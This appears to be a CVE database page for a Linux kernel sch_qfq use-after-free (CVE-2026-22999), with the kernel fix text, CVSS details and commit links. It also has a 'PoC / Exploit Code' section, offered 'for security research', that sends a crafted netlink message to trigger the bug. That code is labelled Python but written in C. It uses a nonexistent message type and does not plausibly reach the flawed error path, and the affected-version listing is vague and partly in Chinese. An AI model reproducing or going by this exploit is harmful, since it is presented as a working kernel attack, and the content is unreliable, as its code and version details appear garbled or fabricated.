CVE-2026-22999

Description

In the Linux kernel, the following vulnerability has been resolved: net/sched: sch_qfq: do not free existing class in qfq_change_class() Fixes qfq_change_class() error case. cl->qdisc and cl should only be freed if a new class and qdisc were allocated, or we risk various UAF.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux kernel < 5.15.x (specific commits: 0a234660dc70, 2a64fb9b47af, 362e269bb03f, 3879cffd9d07, cff6cd703f41)

Linux kernel net/sched sch_qfq模块在特定版本区间受影响

启用CONFIG_NET_SCH_QFQ的内核版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * CVE-2026-22999 PoC - Linux kernel sch_qfq UAF vulnerability
 * For educational and security research purposes only.
 * Compile: gcc -o cve202622999 cve202622999.c -lmnl
 * Usage: ./cve202622999 <interface>
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <linux/netlink.h>
#include <linux/tc_ematch/tc_em_ipt.h>
#include <linux/pkt_cls.h>
#include <libmnl/libmnl.h>

#define TCA_QFQ_INIT 28

int send_qfq_netlink_msg(const char *ifname) {
    struct mnl_socket *nl;
    char buf[MNL_SOCKET_BUFFER_SIZE];
    struct nlmsghdr *nlh;
    struct tcmsg *tcm;
    unsigned int ifindex;
    
    ifindex = if_nametoindex(ifname);
    if (!ifindex) {
        fprintf(stderr, "[-] Invalid interface: %s\n", ifname);
        return -1;
    }
    
    nl = mnl_socket_open(NETLINK_ROUTE);
    if (!nl) {
        perror("[-] mnl_socket_open");
        return -1;
    }
    
    if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
        perror("[-] mnl_socket_bind");
        return -1;
    }
    
    nlh = mnl_nlmsg_put_header(buf);
    nlh->nlmsg_type = RTM_NEWTCF;
    nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL;
    nlh->nlmsg_seq = time(NULL);
    
    tcm = mnl_nlmsg_put_extra_header(nlh, sizeof(*tcm));
    tcm->tcm_family = AF_UNSPEC;
    tcm->tcm_ifindex = ifindex;
    tcm->tcm_handle = 0x00010001;
    tcm->tcm_parent = TC_H_ROOT;
    tcm->tcm_info = TC_H_MAKE(TCHT_MIX, TCA_QFQ_INIT);
    
    // Trigger error path in qfq_change_class
    // by sending malformed qfq class configuration
    struct rtattr *rta = mnl_nlmsg_put_extra_header(nlh, RTA_SPACE(64));
    rta->rta_type = TCA_OPTIONS;
    
    printf("[*] Sending crafted netlink message to trigger UAF...\n");
    
    if (mnl_socket_sendto(nl, nlh, nlh->nlmsg_len) < 0) {
        perror("[-] mnl_socket_sendto");
        return -1;
    }
    
    mnl_socket_close(nl);
    printf("[+] Netlink message sent, check system stability.\n");
    return 0;
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        fprintf(stderr, "Usage: %s <interface>\n", argv[0]);
        return 1;
    }
    
    printf("[*] CVE-2026-22999 PoC - sch_qfq qdisc UAF\n");
    return send_qfq_netlink_msg(argv[1]);
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22999
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22999
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22999/
[4] VulDB https://vuldb.com/cve/CVE-2026-22999
[5] https://git.kernel.org/stable/c/0a234660dc70ce45d771cbc76b20d925b73ec160
[6] https://git.kernel.org/stable/c/2a64fb9b47afffeb5dbab5fd3a518e1436dcc90e
[7] https://git.kernel.org/stable/c/362e269bb03f7076ba9990e518aeddb898232e50
[8] https://git.kernel.org/stable/c/3879cffd9d07aa0377c4b8835c4f64b4fb24ac78
[9] https://git.kernel.org/stable/c/cff6cd703f41d8071995956142729e4bba160363
[10] https://git.kernel.org/stable/c/e9d8f11652fa08c647bf7bba7dd8163241a332cd
[11] https://git.kernel.org/stable/c/f06f7635499bc806cbe2bbc8805c7cef8b1edddf

Raw JSON Data

JSON

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